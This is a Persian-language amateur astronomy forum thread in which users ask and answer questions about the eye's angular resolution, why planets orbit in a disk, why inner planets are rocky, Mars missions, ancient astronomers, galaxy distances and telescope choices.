خوب ما دو نوع گیرنده در چشم داریم : سلول های ستوانه ای(دید سیاه و سفید) که تعدادشون در محیط شبکیه بیشتره و سلول های مخروطی(دید رنگی و دقیق) که تراکمشون در مرکز شبکیه بیشتره.اندازه سلول های استوانه ای 2 تا 5 میکرمتره و اندازه سلول های مخروطی 5 تا 8 میکرومتر هست.وقتی به یک جسم خیره بشیم تصویر میوفته روی ناحیه ای از مرکز شبکیه به نام لکه زرد(ماکولا) که فقط سلول های مخروطی رو داره و وقتی به جسم به حالت" چپ چپ" نگاه کنیم تصویر میوفته روی محیط شبکیه که سلول های استوانه ای زیادی داره.(پس اینکه چپ چپ به خطوط نگاه کنیم با مستقیم بهش خیره بشیم ممکنه نتایجمون با هم متفاوت باشه البته باید آزمایش بشه)

(البته دقیقتر اینه که برای محاسبه مینیموم قدرت تفکیک به جای اندازه گیرنده در نظر بگیریم حد اقل چه مضربی از گیرنده باید تحریک بشن تا سیگنال ارسالی به مغز بتونه تصویری از یک جسم رو درک کنه؟)

در مورد قطر مردمک :

قطر مردمک از 1.5 میلیمتر تا 8 میلیمتر متغیره،علاوه بر شدت نور ورودی فعالیت اعصاب سمپاتیک(افزایش قطر مردمک) و پاراسمپاتیک(کاهش قطر مردمک) روی اندازه قطر مردمک تاثیر دارن مثلا اگه فرد هیجان زده باشه یا به هر دلیلی استرس داشته باشه قطر مردمک بیشتره یا مثلا فرد بعد از غذا خوردن آزمایش رو انجام داده باشه چون پاراسمپاتیک فعال تره قطر مردمک کمتره و غیره...:)

[fatemeh.zar]

آزمایش به طور دقیق:
صفحه ای آماده کردم که عکسش رو در زیر می بینید. این صفحه رو در ارتفاع مناسب روی دیوار نصب کردم به طوری که هم ارتفاع چشمهام باشه. بعد کم کم از دیوار دور شدم تا وقتی که دیگه نتونم اون خط سفید وسط رو ببینم. بعد فاصله ی اونجا تا دیوار رو اندازه گرفتم و زاویه تفکیک رو بدست اوردم. (ضخامت اون خط حدود 1.5 میلیمتر بود)
بعد یه بار دیگه عینکم رو درآوردم و سعی کردم همین کار رو تکرار کنم که به دیوار اونطرفی پذیرایی رسیدم و هنوز اون خط دیده می شد. نتونستم زاویه رو حساب کنم اما قطعا از زاویه قسمت قبلی کمتر میشه. در حالی که قاعدتا بدون عینک باید اوضاع بدتر باشه!!؟؟

نکته: من هرکاری کردم نتونستم عکس رو بلوتوث کنم به کامپیوترم، پس توصیفش میکنم. یه کاغذ کاهیه که دو تا مستطیل با فاصله 1.5 میلیمتر از هم رو با خودکار آبی رنگ کردم و وسطش رو رنگ نکردم. عرض مستطیلها حدود 1 سانت و طولشون حدودای 10 سانت هست.

[mohsen4465]

البته فکر نکنم رنگ صفحه اونقدر در باز و بسته شدن مردمک تاثیر داشته باشه چون 3، 4 متر از صفحه دور میشدم و کل ناحیه رنگی به یک چهارم آ4 هم نمیرسید.
اون زاویه اگر کوچیکتر باشه بهتره. تناقض من هم در این بود که بدون عینک زاویه ام کوچکتر میشد!!
مطمئناً رنگ تأثیر داره. چشم ما به رنگ های مختلف حساسیت های مختلفی داره. بیشترین حساسیت چشم به رنگ سبزه و کمترین حساسیت به طیف بنفشه. ضمناً تضاد نوری (کنتراست) هم خیلی مهمه (مثلاً اگه یه خط زرد رو صفحه سفید بکشید خوب دیده نمیشه).

اینکه دقیقاً دوتا نقطه نورانی کی با هم یکی فرض میشن و کی جدا از هم فرض میشن تا حدودی قراردادی هم هست. بنابراین شما باید از قواعد و استانداردها پیروی کنید تا به نتیجه صحیح برسید. طبق تعریف آستانه تفکیک دو چشمه نور زمانیه که فاصله دو چشمه به اندازه 1 شعاع دیسک اِیری (Airy Disk) اونها باشه.


https://upload.wikimedia.org/wikipedia/commons/thumb/a/ae/Airy_disk_spacing_near_Rayleigh_criterion.png/330px-Airy_disk_spacing_near_Rayleigh_criterion.png (https://upload.wikimedia.org/wikipedia/commons/thumb/a/ae/Airy_disk_spacing_near_Rayleigh_criterion.png/330px-Airy_disk_spacing_near_Rayleigh_criterion.png)


http://up.avastarco.com/images/ykkoklrjxc7dcdeuh5d.png (http://up.avastarco.com/images/ykkoklrjxc7dcdeuh5d.png)

برای محاسبه زاویه تفکیک یک دهانه ورودی نور از فرمول زیر استفاده میکنن:


https://upload.wikimedia.org/math/7/2/4/7245ebf27fbfd60676643e720ab35ef2.png (https://upload.wikimedia.org/math/7/2/4/7245ebf27fbfd60676643e720ab35ef2.png)

در اینجا θ زاویه تفکیک پذیری، λ طول موج نور و D قطر دهانه ورودی نوره. با قرار دادن دو مقادیر λ و D با واحدهای یکسان زاویه θ بر حسب رادیان بدست میاد. برای چشم انسان (طول موج 550 نانومتر و گشادی مردمک 3 میلیمتر):


θ=1.220×0.550μm/3mm×10³ ===> θ=46 ArcSec

برای گشادی مردمک 9 میلیمتر این عدد برابر با 15 ثانیه قوس میشه. اما این دلیل بر این نیست که ما بتونیم در بهترین شرایط 15 ثانیه قوس رو تفکیک کنیم. این زاویه تفکیکیه که مردمک چشم اجازه دیدن اونو میده. عامل دیگه تراکم سلول‌های بینایی روی شبکیه چشمه. فاصله سلول‌های مخروطی چشم انسان حدود 2 میکرومتره. بنابراین دو چشمه نور بایستی حداقل روی شبکیه 2 میکرومتر فاصله داشته باشن تا بتونن دو سلول مختلف رو تحریک کنن. با در نظر گرفتن زاویه 15 ثانیه قوس اندازه تصویر روی شبکیه چشم انسان حدود 3 میکرومتر میشه. بنابراین میشه گفت که 15 ثانیه قوس در بهترین شرایط (شرایط ایده آل) حد تفکیک چشم انسانه. البته این به این معنی نیست که چشم ما بتونه بطور عملی چنین زاویه کوچکی رو تفکیک کنه اما بطور تئوری دستیابی به بیشتر از این حد غیرممکنه.
========================
پانویس:
الان رفتم یه نگاه کردم دیدم که در ویکی پدیا حد توان تفکیک چشم انسان نهایتاً 0.3 دقیقه قوس (18 ثانیه قوس) عنوان شده که در بهترین شرایط نور و کنتراست قابل دستیابیه. :)


بعد یه بار دیگه عینکم رو درآوردم و سعی کردم همین کار رو تکرار کنم که به دیوار اونطرفی پذیرایی رسیدم و هنوز اون خط دیده می شد. نتونستم زاویه رو حساب کنم اما قطعا از زاویه قسمت قبلی کمتر میشه. در حالی که قاعدتا بدون عینک باید اوضاع بدتر باشه!!؟؟ شما مطمئنید که نزدیک بین هستید؟ از درست بودن شماره عینکتون چطور؟

[fatemeh.zar]

شما مطمئنید که نزدیک بین هستید؟ از درست بودن شماره عینکتون چطور؟

بله! و باز هم بله! 3،4 ماه پیش چشم پزشکی رفتم.

[ابر سفید]

سلام. من یک دانشجو علاقه مند به محاسبات نجومی هستم تا حالا کتاب نجوم کروی ، ستاره شناسی با ماشین حساب و نجوم محاسباتی را مطالعه کردم . حالا می خواهم میل و زاویه ساعتی خورشید نسبت به نصف النهار مبداء را محاسبه کنم یعنی خورشید در هر لحظه بر کدام نقطه از زمین عمود می تابد مانند زمانی که منجمان اعلام می کنند خورشید در یک تاریخ و زمان مشخص بر کعبه عمود است .

[Mostafa]

سلام. من یک دانشجو علاقه مند به محاسبات نجومی هستم تا حالا کتاب نجوم کروی ، ستاره شناسی با ماشین حساب و نجوم محاسباتی را مطالعه کردم . حالا می خواهم میل و زاویه ساعتی خورشید نسبت به نصف النهار مبداء را محاسبه کنم یعنی خورشید در هر لحظه بر کدام نقطه از زمین عمود می تابد مانند زمانی که منجمان اعلام می کنند خورشید در یک تاریخ و زمان مشخص بر کعبه عمود است .

سلام به شما

اگر قصد دارید این کار رو با نرم افزار انجام بدید که کار بسیار ساده است

اگر هم میخواهید خودتون محاسباتش رو انجام بدید ، کار چندان سختی نیست

کافی است ابتدا با استفاده از تاریخ ( شماره روز از سال ) میل خورشید رو حساب کنید .

حالا خورشید ، در اون روز به مدار متناظرش روی زمین عمود می تابد

( مثلا در روزی که میل 10 درجه دارد به مدار 10 درجه شمالی عمود می تابد .

برای بدست آوردن زمانش هم میتونید با استفاده از اختلاف طول جغرافیایی ، اختلاف ظهر هر نقطه رو با ظهر گرینویچ محاسبه کنید .

اگر به روابط مثلثات کروی اشراف داشته باشید به راحتی قابل حل است .

[tehrany]

با سلام ، میخواستم بدانم چرا سیاره های منظوه شمسی بصورت اصطلاحا دیسکی بدور خورشید می چرخند، مگر نه اینکه خورشید کروی میباشد پس جاذبه آن هم بصورت کروی بایستی در تمام جهات منظومه عمل نماید ؟

[رضا طامهری]

با سلام ، میخواستم بدانم چرا سیاره های منظوه شمسی بصورت اصطلاحا دیسکی بدور خورشید می چرخند، مگر نه اینکه خورشید کروی میباشد پس جاذبه آن هم بصورت کروی بایستی در تمام جهات منظومه عمل نماید ؟

سلام دوست عزيز

مدار سيارات البته بجز پلوتو ( در صورتي كه پلوتو را جز منظومه شمسي بدانيم ) تقريبا صفحه اي رو تشكيل ميدن(اختلافاتي بين زاويه مدارهاي سيارات وجود دارد) كه اين موضوع ربطي به گرانش خورشيد نداره

سه پديده وجود داره كه سياره شناسان رو متقاعد ميكنه ، نظريه ي تشكيل كل منظومه شمسي از يك سحابي رو بپذيرند

يكي از اون پديده ها قرار گرفتن خورشيد و سيارات در يك صفحه است(دلايل ديگر جهت گردش تمام سيارات بجز اورانوس و زهره بصورت پادساعت گرد به دور خورشيد و عمر تقريبا يكسان سيارات و خورشيد ميباشد)

[mohsen4465]

با سلام ، میخواستم بدانم چرا سیاره های منظوه شمسی بصورت اصطلاحا دیسکی بدور خورشید می چرخند، مگر نه اینکه خورشید کروی میباشد پس جاذبه آن هم بصورت کروی بایستی در تمام جهات منظومه عمل نماید ؟ چرخش سیارات ناشی از چرخش سحابی اولیه منظومه شمسی در هنگام منقبض شدنه. در هنگام انقباض وجود هر گونه چرخش ضعیفی تشدید میشه تا تکانه زاویه ای یکسان باقی بمونه. بنابراین با انقباض، سرعت چرخش سحابی بیشتر و بیشتر میشه. مطمئناً سحابی نمیتونه در آن واحد به همه طرف بگرده و در نهایت یک محور گردش به سایر محورها غلبه میکنه و سحابی شروع به گردش بدور اون محور میکنه. ذراتی که در سایر صفحات گردشی قرار دارن به سمت صفحه گردشی غالب کشیده میشن و در نهایت یک دیسک شکل میگیره.

برای درک بهتر تصور کنید که یک جرم با شیب مداری زیادی نسبت به "صفحه نامتغییر" منظومه شمسی در حال گردش باشه. بنظرتون آیا با وجود حجم عظیمی از اجرام که در صفحه منظومه شمسی میگردن آیا این جرم میتونه مداری ثابت برای همیشه داشته باشه. این جرم در تمامی نقاط مدار خودش به سمت صفحه کشیده میشه. این عامل باعث میشه که در دراز مدت صفحه گردش اون بسمت صفحه نامتغییر منظومه شمسی کشیده شده و در نهایت در داخل این صفحه قرار بگیره. البته بد نیست بعنوان توضیح تکمیلی این مورد رو اضافه کنم که خود این جرم هم صفحه گردش نامتغییر منظومه شمسی رو بسمت خودش میکشه ولی خب مطمئناً یک جرم کوچک بتنهایی اثری بسیار بسیار ناچیز خواهد داشت.

در خصوص صفحه گردش نامتغییر منظومه شمسی هم بد نیست بدونید که این صفحه در واقع میانگین موزون صفحات گردش تمامی اجرام منظومه شمسیه و جالبتر اینکه صفحات گردش چها غول گازی مشتری، زحل، اورانوس و نپتون در کنار هم تقریباً %98 مکان نسبی اون رو تعیین میکنن.

[2215]

:79::79::79::79:
با سلام به همه ی دوستای گل
میشه بگید در منظومه شمسی چرا سیارات نزدیکتر سنگی و سیارات دورتر به صورت گاز هستند؟؟
جنسشون هم برام سواله: چرا سیارات نزدیکتر از عناصر سنگین تر و دورترها از عناصر سبکتر ساخته شده‏ اند؟؟

[محمد فتحی]

:79::79::79::79:
با سلام به همه ی دوستای گل
میشه بگید در منظومه شمسی چرا سیارات نزدیکتر سنگی و سیارات دورتر به صورت گاز هستند؟؟
جنسشون هم برام سواله: چرا سیارات نزدیکتر از عناصر سنگین تر و دورترها از عناصر سبکتر ساخته شده‏ اند؟؟

سلام.
پاسختون را خودتون دادید.
جاذبه ی خورشید به اجرام سنگین تر بیش تر اثر می گذاره و بنابر این به مرکز منظومه نزدیک تر می شوند

[mohsen4465]

:79::79::79::79:
با سلام به همه ی دوستای گل
میشه بگید در منظومه شمسی چرا سیارات نزدیکتر سنگی و سیارات دورتر به صورت گاز هستند؟؟
جنسشون هم برام سواله: چرا سیارات نزدیکتر از عناصر سنگین تر و دورترها از عناصر سبکتر ساخته شده‏ اند؟؟


سلام.
پاسختون را خودتون دادید.
جاذبه ی خورشید به اجرام سنگین تر بیش تر اثر می گذاره و بنابر این به مرکز منظومه نزدیک تر می شوند
در ادامه گفته آقای فتحی این نکته رو هم اضافه میکنم که دو عامل گرما و باد خورشیدی هم خیلی در نحوه توزیع عناصر موأثرن. بدین ترتیب که عناصری که ترکیبات فرار تشکیل میدن خیلی راحتتر توسط باد خورشیدی به نواحی دورتر و سردتر منتقل میشن. برای مثال فلز فراوان و سبکی همچون آلومینیوم از اونجایی که ترکیبات جامد کووالانسی و یا یونی تشکیل میده میتونه در نزدیکی خورشید باقی بمونه چرا که ترکیبات یونی و یا جامدات کووالانسی نقطه ذوب و جوش بالایی دارن. اما گاز نجیبی مثل آرگون با وجود اینکه وزن اتمی اون از آلومینیوم بیشتره اما از اونجایی که بصورت تک اتمی در طبیعت حضور داره در نواحی نزدیک به خورشید نمیتونه زمان زیادی باقی بمونه.

در کل از بین انواع جامدات، سنگ‌ها (ترکیبات جامد کووالانسی و یا یونی و احیاناً جامدات فلزی) در نزدیکی خورشید و یخ ‌ها (جامدات اتمی و یا مولکولی) در مدارهای دور از خورشید قرار دارن.

[2215]

ممنون از پاسختون
دو عامل گرما و باد بسیااار جاااالب بود!
اما درباره پاسخ اول من یکم توجیه نشدم! درسته زمین و سیارات خاکی از مولکول های سنگین تر تشکیل شدند اما به صورت تکی که موجود نیستند!!! این ها مجموعه هایی به نام سیارات رو می سازند که از قضا سیارات گازی بسیااار پرجرم تر از سیارات خاکی هستند. پس اگر به خاطر جاذبه خورشید باشه، باید سیارات گازی بدلیل وزن بیشتر نسبت به خورشید نزدیکتر بودند.

[amir abbas saedi]

ممنون از پاسختون
دو عامل گرما و باد بسیااار جاااالب بود!
اما درباره پاسخ اول من یکم توجیه نشدم! درسته زمین و سیارات خاکی از مولکول های سنگین تر تشکیل شدند اما به صورت تکی که موجود نیستند!!! این ها مجموعه هایی به نام سیارات رو می سازند که از قضا سیارات گازی بسیااار پرجرم تر از سیارات خاکی هستند. پس اگر به خاطر جاذبه خورشید باشه، باید سیارات گازی بدلیل وزن بیشتر نسبت به خورشید نزدیکتر بودند.
این مواد در ابتدا سیارات نبودند بعد از قرار گرفتن در مدارها به هم متصل شدند و سیارات رو بوجود اوردند
گازها چون سبک بودن دورتر قرار گرفتند و سیارات گازی رو بوجود اوردن ،سیارات زمین مانند از جنس سنگ و فلز هستند اینخا سنگین هستن و نزدیک تر قرار گرفتند ، سیارات گازی شکل چگالی کمی هم دارند اگر زحل رو یکی از اقیانوس ها قرار بدید روی اب میمونه.

[mohsen4465]

ممنون از پاسختون
دو عامل گرما و باد بسیااار جاااالب بود!
اما درباره پاسخ اول من یکم توجیه نشدم! درسته زمین و سیارات خاکی از مولکول های سنگین تر تشکیل شدند اما به صورت تکی که موجود نیستند!!! این ها مجموعه هایی به نام سیارات رو می سازند که از قضا سیارات گازی بسیااار پرجرم تر از سیارات خاکی هستند. پس اگر به خاطر جاذبه خورشید باشه، باید سیارات گازی بدلیل وزن بیشتر نسبت به خورشید نزدیکتر بودند.تفکیک شدن عناصر بر اساس وزنشون عامل اصلی تفکیک عناصر نیست بلکه عوامل اصلی همون دما و باد خورشیدی هستند و عامل وزن بعنوان آخرین عامل تأثیرگذار در این بین قرار میگیره. در خصوص نحوه تفکیک عناصر بر اساس وزن مثالی که زدید صحیح نیست. کافیه تا آزمایش مشهور گالیله با دو گوی بزرگ و کوچک رو بیاد بیارید تا متوجه دلیل صحیح نبودنش بشید.

تفکیک عناصر بر اساس وزنشون زمانی رخ میده که عناصر بصورت مخلوطی درون یک سیال باشن. برای مثال وقتی آب و روغن رو روی هم میریزید روغن روی آب قرار میگیره چرا که چگالی اون کمتره. بنابراین آب به پایین مهاجرت میکنه و روغن به بالا. همین حالت برای زمانی که آب رو روی چند تکه چوب میریزید اتفاق میافته و قطعات چوب بالا میان و آب به پایین مهاجرت میکنه. بنابراین همونطور که میبینید حتماً باید یک سیال در این میان باشه تا «مهاجرت» ماده قابل انجام باشه. مثلاً اگه یک تیکه سنگ رو روی چوب بذارید هیچوقت سنگ که سنگین تره پایین نمیره. در کالبد سیارات همین اتفاق رخ میده و باعث میشه عناصر مختلف لایه های مختلفی از کالبد سیاره بر اساس وزنشون (صحیحتر بگیم چگالیشون) قرار بگیرن. جامدات سنگین در مایعات سنگین غرق میشن، مایعات سبک بالاتر قرار میگیرن و در نهایت گازها که از همه چگالیشون کمتره اتمسفر رو میسازن. حتی خود همین گازها هم بر اساس نوعشون لایه لایه قرار میگیرن و اتمسفری لایه بندی شده رو میسازن. در این وضعیت عناصری گازی شکل و سبکی مثل هیدروژن در بالاترین لایه قرار میگیرن و بنابراین بشدت در معرض بادهای خورشیدی هستن. اگه سیاره بیش از حد به خورشید نزدیک باشه و مگنتوسفر اون هم چندان وسعت نداشته باشه مطمئناً این لایه اتمسفری سبک رو از دست میده. برعکس سیاره غول پیکری همچون مشتری با جاذبه زیاد و مگنتوسفری بسیار غول پیکر و همچنین فاصله مناسب از ستاره مادر، براحتی میتونه کالبدی مملو از گازهایی سبک همچون هیدروژن و هلیم داشته باشه.

[...Rainy Boy]

سلام خدمت تمام اعضای محترم.اولین باره تو انجمنتون اومدم.
سوال داشتم، امکانش هست که ما نور بازتابی از ستاره ای رو ببینیم؟
ستاره یا هر جسم سماوی دیگه ای وجود داره که درصد بازتابش خوبی داشته باشه؟
ممنون میشم اگر کامل توضیح بدید. در صورت وجود با منبع. برای یه پروژه مهم نیاز دارم

[moonlight13]

سلام خدمت تمام اعضای محترم.اولین باره تو انجمنتون اومدم.
سوال داشتم، امکانش هست که ما نور بازتابی از ستاره ای رو ببینیم؟
ستاره یا هر جسم سماوی دیگه ای وجود داره که درصد بازتابش خوبی داشته باشه؟
ممنون میشم اگر کامل توضیح بدید. در صورت وجود با منبع. برای یه پروژه مهم نیاز دارم
سلام!
یه سری از سحابی ها هستن که بهشون سحابی بازتابی میگیم...این سحابی ها نور ستاره های نزدیک خودشون رو منعکس میکنن مثل m20 (سحابی سه تکه در صورت فلکی قوس ) برای اطلاعات کاملتر فکر میکنم فصل محیط میان ستاره ای نجوم دینامیکی پیشنهاد خوبی باشه!

[Mostafa]

سلام خدمت تمام اعضای محترم.اولین باره تو انجمنتون اومدم.
سوال داشتم، امکانش هست که ما نور بازتابی از ستاره ای رو ببینیم؟
ستاره یا هر جسم سماوی دیگه ای وجود داره که درصد بازتابش خوبی داشته باشه؟
ممنون میشم اگر کامل توضیح بدید. در صورت وجود با منبع. برای یه پروژه مهم نیاز دارم

سلام به شما دوست گرامی
به فروم آوا استار خوش آمدید
در مورد ستاره ها حتمآ می دونید که ساز و کار " تابش " در اونها جریان داره که البته بسته به جرم ستاره ، بیشینه تابش در طول موج های مختلف متغییر است .
اما بازتاب در مورد اجسام غیر منیری گفته میشه که نور جسم دیگر ( مثل یک ستاره ) را بازتاب می کنند.
مقدار بازتاب نور هم از روی سطح یک جسم به عوامل مختلفی بستگی داره که اصلی ترین اونها، جنس تشکیل دهنده اون سطح است .
( مثلا زمین در بین سیارات منظومه شمسی به دلیل اینکه حدود دو سوم سطحش از آب پوشیده شده ضریب بازتاب ریادی داره )
در نهایت پاسخ شما به نظرم اینه که هر ستاره ای با هر میزان درخشندگی، طبیعتآ مقدار انرژی ای که از اون دریافت می کنیم طبیعتا بیشتر از بازتاب نور اون از هر سطح دیگری ( مثل یک سیاره یت یک قمر ) است .

موفق باشید

[weird64]

توی ماه عسل نشون داد اون بنده خدا میخواد بره مریخ ولی میگه نمیشه برگشت
چرا اونوقت؟ مگه نمیشه همون سفینه ای که برده اونا رو همون هم به زمین بیارشون دوباره ؟
میشه یکی توضیح بده من خیلی کنجکاوم دلیلیش رو بدونم

[solh]

توی ماه عسل نشون داد اون بنده خدا میخواد بره مریخ ولی میگه نمیشه برگشت
چرا اونوقت؟ مگه نمیشه همون سفینه ای که برده اونا رو همون هم به زمین بیارشون دوباره ؟
میشه یکی توضیح بده من خیلی کنجکاوم دلیلیش رو بدونم

احتمالا یکی از دلیلاش سکوی پرتابه، سکوی مجهزی باید باشه که بتونه انرژی کافی رو برای خروج از مریخ فراهم کنه( اونی که از زمین پرتاب میکنه رو ببینید متوجه میشید!).

[yperseusy]

توی ماه عسل نشون داد اون بنده خدا میخواد بره مریخ ولی میگه نمیشه برگشت
چرا اونوقت؟ مگه نمیشه همون سفینه ای که برده اونا رو همون هم به زمین بیارشون دوباره ؟
میشه یکی توضیح بده من خیلی کنجکاوم دلیلیش رو بدونم

راستش هنوز تکنولوژی که بتونه بشر رو تا اونجا ببره هم نیست... و هنوز همه چیز در حال آزمایش است ... حتی نوع فرایند بدنی افراد ... من خودم به شخصه احتمال میدم با این پیشرفت تکنولوژی تا ده سال آینده اگر همه چیز با این منوال پیش بره تکنولوژی برگشت رو هم بهش برسند...

[nabat]

سلام.میشه چندتا منجم معروف مال قبل از سال 622 میلادی نام ببرید؟
چه کسی اولین بار گفت همه ی اجرام آسمانی روی مدارهایی در گردشند؟
تا قبل از سال 622 میلدی چه قدر علم نجوم پیشرفت کرده بود؟چه چیزهایی تا قبل از این سال کشف شده بود؟

[Ehsan]

سلام.میشه چندتا منجم معروف مال قبل از سال 622 میلادی نام ببرید؟
چه کسی اولین بار گفت همه ی اجرام آسمانی روی مدارهایی در گردشند؟
تا قبل از سال 622 میلدی چه قدر علم نجوم پیشرفت کرده بود؟چه چیزهایی تا قبل از این سال کشف شده بود؟

تالس، بطلمیوس، ابرخس، آریستاخوس، فیثاغورث همگی از منجمانِ یونانِ باستان و قبل از هجرت پیامبر محسوب میشن (حتی بعضی‌هاشون قبل از میلادِ مسیح هستند، در واقع از بین اینهایی که اسم بردم فقط بطلمیوس به بعد از میلادِ مسیح مربوط میشه)
خیلی دقیق معلوم نیست و شاید حتی پرسشِ درستی نباشه که بگیم تا اون موقع چی کشف شده بود و چه پیشرفتی وجود داشت، سیرِ تحول علوم خطی نیست و لزوما نمیشه به تحولش در همه‌ی زمانها گفت «پیشرفت» و به معلوماتش هم گفت «کشف»، اما خُب، تا اون موقع خیلی‌ها می‌دونستند زمین کرویه، می‌دونستند سیارات در فضا در مسیرهایی مشخص (اگه دوست دارید اسمشو بگذارید: مدار) حرکت می‌کنن. حتی بعضی‌ها با جرات نظریه‌ی خورشید مرکزی رو ارائه کرده بودند گرچه طرفدارِ چندانی نداشت، اما مطرح شده بود.

تا اون موقع علم نجوم طوری بود که ملت می‌تونستند حتی خورشیدگرفتگی‌ها رو هم به دقت پیشبینی کنند (این توانایی چیزی بیش از 1000 سال قبل از هجرت ممکن بود)
این صفحه هم سیر تحول نجوم رو خلاصه بیان کرده:
https://en.wikipedia.org/wiki/Timeline_of_astronomy

[محمد فتحی]

توی ماه عسل نشون داد اون بنده خدا میخواد بره مریخ ولی میگه نمیشه برگشت
چرا اونوقت؟ مگه نمیشه همون سفینه ای که برده اونا رو همون هم به زمین بیارشون دوباره ؟
میشه یکی توضیح بده من خیلی کنجکاوم دلیلیش رو بدونم

بنظرم یکی از مشکلاتش سوخته.اون سفینه این که قراره برگرده سوخت این کار را باید از کجا بیاره؟یا باید با خودش ببره که به علت وزن زیادش بلند شدنش از زمین سوخت بیش تر و نیروی بیش تری می خواهد یا باید بفرستند که اون هم سودی نداره.راه حل مناسب اینکه همون جا بمونند زندگیشون را بکند دیگه.از طرفی این همه راه رفتند.کی حالش را داره برگرده:دی

[mohammadgoudarzi5]

سلام ببخشید یه سوال داشتم میشه یکی جواب بده دور ترین شهر نسبت به استوای آسمان کجاست؟؟
با تشکر از لطف شما

[محمد فتحی]

سلام ببخشید یه سوال داشتم میشه یکی جواب بده دور ترین شهر نسبت به استوای آسمان کجاست؟؟
با تشکر از لطف شما

سلام.خب چون استوای سماوی موازی با استوای زمینه هرچه منطقه شمالی تر یا جنوبی تر باشه دور تره.با این حساب دور ترین نقطه قطب شمال و جنوب جغرافیایی زمین هست.اما شهرش را دقیقا نمی دونم ولی فکر می کنم شهر آلرت کانادا باید باشه.

[Nojoomfa]

فاصله این کشهکشان با ما چقدر است؟

<center> (http://wiki.avastarco.com/index.php?title=%D8%B5%D9%81%D8%AD%D9%87%D9%94_%D8 %A7%D8%B5%D9%84%DB%8C) </center>

با سلام به دوستان عزیز یک کهکشان هست که من میخواستم بدونم فاصله او با ما چقدر هست و ما چند سال نوری باهاش فاصله داریم

نام کهکشان ان‌جی‌سی ۴۲۶۱ (به انگلیسی: NGC 4261

لینک مشخصات این کهکشان در ویکی پدیا انگلیسی :

https://en.wikipedia.org/wiki/NGC_4261

در ویکی پدیای فارسی :

https://fa.wikipedia.org/wiki/%D8%A7...B2%DB%B6%DB%B1 (https://fa.wikipedia.org/wiki/%D8%A7%D9%86%E2%80%8C%D8%AC%DB%8C%E2%80%8C%D8%B3%D B%8C_%DB%B4%DB%B2%DB%B6%DB%B1)

در صفحه اصلی ویکی پدیا سمت راست این مشخصات را زده میخواه ببینم فاصلش اینیه که در صفحه اصلیش زده یا جای دیگری فاصله اصلیش تا کهکشان ما را زده

فاصله Distance 96 ± 8 Mly (29.4 ± 2.6 Mpc)[2]

این فاصله را زده می خواه ببینم آیا این فاصله درسته و چقدر هست؟ و با ما چقدر فاصله داره

[aletrah]

بسم الله الرحمن الرحیم

با سلام وخسته نباشید به مدیران و کاربران عزیز

خیلی مهمه بدونم

وقت دقیق تسدیس آفتاب با مشتری در این سال 94 چیست؟؟؟؟

ممنونم

[محمد فتحی]

فاصله این کشهکشان با ما چقدر است؟

<center> (http://wiki.avastarco.com/index.php?title=%D8%B5%D9%81%D8%AD%D9%87%D9%94_%D8 %A7%D8%B5%D9%84%DB%8C) </center>

با سلام به دوستان عزیز یک کهکشان هست که من میخواستم بدونم فاصله او با ما چقدر هست و ما چند سال نوری باهاش فاصله داریم

نام کهکشان ان‌جی‌سی ۴۲۶۱ (به انگلیسی: NGC 4261

لینک مشخصات این کهکشان در ویکی پدیا انگلیسی :

https://en.wikipedia.org/wiki/NGC_4261

در ویکی پدیای فارسی :

https://fa.wikipedia.org/wiki/%D8%A7...B2%DB%B6%DB%B1 (https://fa.wikipedia.org/wiki/%D8%A7%D9%86%E2%80%8C%D8%AC%DB%8C%E2%80%8C%D8%B3%D B%8C_%DB%B4%DB%B2%DB%B6%DB%B1)

در صفحه اصلی ویکی پدیا سمت راست این مشخصات را زده میخواه ببینم فاصلش اینیه که در صفحه اصلیش زده یا جای دیگری فاصله اصلیش تا کهکشان ما را زده

فاصله Distance 96 ± 8 Mly (29.4 ± 2.6 Mpc)[2]

این فاصله را زده می خواه ببینم آیا این فاصله درسته و چقدر هست؟ و با ما چقدر فاصله داره

سلام.
همین طور که خودتون نوشتید فاصلش 96Mly هست كه يعني 96 ميليون سال نوري

[ronas]

:17:سلام برای رصد کهکشانها کدام تلسکوپها بهتر است

[toraj1358]

:17:سلام برای رصد کهکشانها کدام تلسکوپها بهتر است
سلام
تلسکوپهای نیوتنی با دیافراگم 4 بهترین هستند در رصد کهکشان ها (کلا اجرام عمق آسمان)

[yasi7849]

سلام به همگی من می خوام یه تلسکوپ خوب بخرم کسی می تونه کمکم کنه؟
آخه من عاشق شبم اونم شب های مهتابی!

[CosMos Beta]

سلام ب همه دوستان

میگن تلسکوپهایی هستند که بجای اینکه با چشممون از چشمی تلسکوپ کیهان رو ببینیم ب لب تاب یا مانیتور کامپیوتر وصل میشه و میتونیم همه اجرام رو بزرگ و با کیفیت بالایی ببینیم!؟!؟!؟ آیا واقعا با یک کیفیت خوب میتونیم از مانیتور اجرام رو ببینیم؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

این نوع تلسکوپها بدرد یک تازه کار یا نجوم آماتوری میخوره؟؟؟؟؟؟؟؟؟؟؟

[sara2212]

سلام به همه نظرتون درباره این مدل تلسکوپ چیه
تلسکوپ کامپیوتری c6-sgt



کسی تا حالا داشته ؟

[محمد فتحی]

سلام ب همه دوستان

میگن تلسکوپهایی هستند که بجای اینکه با چشممون از چشمی تلسکوپ کیهان رو ببینیم ب لب تاب یا مانیتور کامپیوتر وصل میشه و میتونیم همه اجرام رو بزرگ و با کیفیت بالایی ببینیم!؟!؟!؟ آیا واقعا با یک کیفیت خوب میتونیم از مانیتور اجرام رو ببینیم؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

این نوع تلسکوپها بدرد یک تازه کار یا نجوم آماتوری میخوره؟؟؟؟؟؟؟؟؟؟؟

سلام
این که شما میگید را نمی دونم ولی میشه دوربین را روی تلسکوپ نصب کرد و بعد هم به رایانه متصل کرد و تصویر را مستقیم از مانیتور داشت.به طور معمول که فرقی زیادی نداره مگر اینکه با دوربین نور دهی کنید که مثل همون عکاسی معمولی میشه اینجا فقط یک رایانه اضافه شده.

[Mostafa]

سلام به همه نظرتون درباره این مدل تلسکوپ چیه
تلسکوپ کامپیوتری c6-sgt



کسی تا حالا داشته ؟

سلام

در این لینک (http://shop.avastarco.com/%D8%AA%D9%84%D8%B3%DA%A9%D9%88%D9%BE-advanced-c6/)میتونید اطلاعات بیشتری درباره این تلسکوپ پیدا کنید :

[راه اسمان]

سلام،میخواستم یه کتاب خوب درحوزه نجوم و پدیده های نجومی و اصطلاحات نجومی بهم معرفی کنید .اگه ممکنه انتشاراتش رو هم بگید.ممنون

[Mostafa]

